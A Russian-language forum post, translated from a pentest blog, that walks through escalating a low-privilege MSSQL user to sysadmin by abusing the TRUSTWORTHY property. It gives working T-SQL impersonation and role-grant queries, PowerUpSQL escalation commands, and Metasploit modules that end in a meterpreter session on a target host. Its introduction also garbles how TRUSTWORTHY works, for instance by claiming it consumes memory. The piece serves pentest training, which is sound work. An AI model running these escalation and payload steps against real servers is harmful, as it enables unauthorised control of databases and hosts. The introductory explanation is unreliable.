• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья MSSQL для пентестера: Абузим через Trustworthy

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
MSSQL для пентестера: злоупотребление доверием

В этой статье мы узнаем, как предоставить права системного администратора пользователю, обладающему только основными общедоступными правами. Технически мы применим логику повышения привилегий и предоставим системному администратору привилегию обычного общедоступного пользователя. И будем злоупотреблять заслуживающим доверия свойством, учитывая, что оно включен в базе данных.

Введение в Trustworthy

Свойство надежной базы данных помогает определить, полагается ли сервер SQL на базу данных или нет. При работе с CRL будет много случаев, когда специальные команды или процедуры сочтут жизненно важным иметь определенные привилегии. Такая лицензия необходима для защиты базы данных от вредоносных сценариев. Многие свойства могут использоваться на серверах Windows и SQL-серверах, чтобы определить, является ли база данных надежной. Свойства должны быть установлены соответствующим образом, чтобы позволить SQL-серверу функционировать правильно. Один из способов сделать это - добавить команду trust на обоих серверах.

Недостатком Trustworthy свойства может быть то, что оно может занимать такие ресурсы, как память, что может вызвать проблемы с производительностью в определенных сценариях. По этой причине лучше не слишком полагаться на эти типы свойств при разработке приложений или моделей данных. Однако они полезны при использовании других методов, таких как подписка на события или системы на основе агентов, в тестовой среде, где потребление ресурсов не имеет большого значения и производительность тоже не важна.

Лабораторная среда

Чтобы выполнить практику и добиться успеха, мы сначала настроим нашу лабу сервера MSSQL, и для этого давайте создадим новую базу данных, щелкнув правой кнопкой мыши базу данных и выбрав параметр Новая база данных, как показано на изображении ниже:

1641128686336.png


В открывшемся диалоговом окне укажите имя для своей базы данных, а затем нажмите кнопку ОК, как показано на изображении ниже:

1641128704370.png


Теперь, когда база данных создана, мы создадим пользователя. Чтобы создать пользователя, щелкните правой кнопкой мыши Logins и выберите опцию New Login, как показано на изображении ниже:

1641128712736.png


Откроется новое диалоговое окно, в котором укажите имя и пароль для вашего пользователя, а затем нажмите кнопку ОК, как показано на изображении ниже:

1641128721068.png


Теперь в ролях сервера вы можете проверить, что пользователь является только частью групы паблик. После просмотра нажмите кнопку ОК, как показано на изображении ниже:

1641128734295.png


Теперь перейдите в User Mapping и выберите ignite Database для своего пользователя. На панели членства в роли выберите параметр db_owner, затем нажмите кнопку ОК, как показано на изображении ниже:

1641128746661.png


1641128760913.png


Теперь мы проверим, включено ли свойство trustworthy для нашей базы данных. И для этого воспользуемся следующим запросом:

select name,is_trustworthy_on from sys.databases

1641128777762.png


Как видите, в созданной нами базе данных не активировано это свойство. Итак, теперь, чтобы активировать это свойство, используйте следующий запрос:

ALTER DATABASE [ignite] SET TRUSTWORTHY ON

1641128793691.png


Чтобы подтвердить статус trustworthy базы данных, мы снова воспользуемся следующим запросом:

select name,is_trustworthy_on from sys.databases

1641128809185.png


Как вы можете видеть на изображении выше, значение trustworthy равно 1, что означает, что оно активирован. На этом настройка нашей лаборатории завершена.

Злоупотребление доверием

Руководство по эксплуатации

Теперь, когда мы успешно настроили нашу лабораторию, мы войдем в систему от пользователя raj, которого мы создали ранее. Через этого пользователя мы проверим, активировано ли для него свойство ignite или нет. И для этого воспользуемся следующим запросом:

SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;

1641128835356.png


Результат вышеуказанного запроса показывает, что trustworthy включена. Теперь мы перейдем в нашу базу данных и откроем вкладку запроса, щелкнув правой кнопкой мыши базу данных и выбрав опцию New Query, как показано на изображении ниже:

1641128844843.png


Откроется вкладка нашего запроса. Здесь мы будем использовать следующий запрос, чтобы проверить, какие пользователи являются db_owners:

SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id
LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id
WHERE DP1.type = 'R' ORDER BY DP1.name;

1641128902400.png


В результате вышеуказанного запроса вы можете увидеть, что raj и dbo являются владельцами базы данных. Итак, теперь мы будем имитировать пользователя dbo через пользователя raj. Как только пользователь raj успешно замаскирует dbo, он может получить дополнительные привилегии для себя. А для этого используйте следующий запрос:

EXECUTE AS USER = 'dbo';
SELECT system_user;

1641128919711.png


Вышеупомянутый запрос был успешно выполнен. Теперь мы получим больше привилегий для пользователя raj, сделав его системным администратором с помощью следующего запроса:

EXEC sp_addsrvrolemember 'raj','sysadmin';

1641128935285.png


Чтобы убедиться, что наши запросы работают или нет, мы можем перейти в Login Properties для пользователя raj и просмотреть правила сервера. И там вы можете видеть, что отмечена опция sysadmin. Таким образом, мы успешно злоупотребили свойством trustworthy , используя этот потенциал. То же самое показано на изображении ниже:

1641128946933.png


PowerUpSQL

Мы также можем злоупотреблять удаленно, используя PowerUpSQL. Сначала мы импортируем модуль PowerUpSQL в PowerShell, а затем проверим, активировано ли свойство. Для этого используйте следующие команды:

Import-Module .\PowerUpSQL.ps1
Invoke-SQLAuditPrivTrustworthy -Username raj -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose

1641128967085.png


В результате выполнения вышеперечисленных команд вы можете увидеть, что trustworthy включено. Итак, теперь мы будем использовать следующие команды, чтобы получить привилегии системного администратора для нашего пользователя:


Import-Module .\Invoke-SqlServer-Escalate-Dbowner.psm1
Invoke-SqlServer-Escalate-DbOwner -SqlUser raj -SqlPass Password@1 -SqlServerInstance WIN-P83OS778EQK\SQLEXPRESS

1641128997475.png


И вуаля! У нас есть привилегии системного администратора для наших пользователей.

Metasploit

Как мы все знаем, любая удаленная атака неполна без Metasploit; поэтому теперь мы будем использовать Metasploit для выполнения наших делишек. Metasploit, удивительный фреймворк, предоставляет нам встроенный эксплойт, который помогает нам реализовать свое желание. Используйте эксплойт с помощью следующего набора команд:

use auxiliary/admin/mssql_escalate_dbowner
set rhosts 192.168.1.146
set username raj
set password Password@1
exploit

1641129013912.png


Как видите, вышеупомянутый эксплойт сделает всю работу по получению привилегий системного администратора для вашего пользователя. Теперь, когда у пользователя есть привилегии системного администратора, мы можем дополнительно использовать следующий эксплойт для получения сеанса meterpreter:

use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set username raj
set password Password@1
exploit

1641129030711.png


И, как вы можете видеть на изображении ниже, вышеприведенный эксплойт предоставит нам сеанс meterpreter.

1641129041283.png


Это как локальные, так и удаленные способы злоупотребления и эксплуатации свойства trustworthy и получения привилегий.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-abusing-trustworthy/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх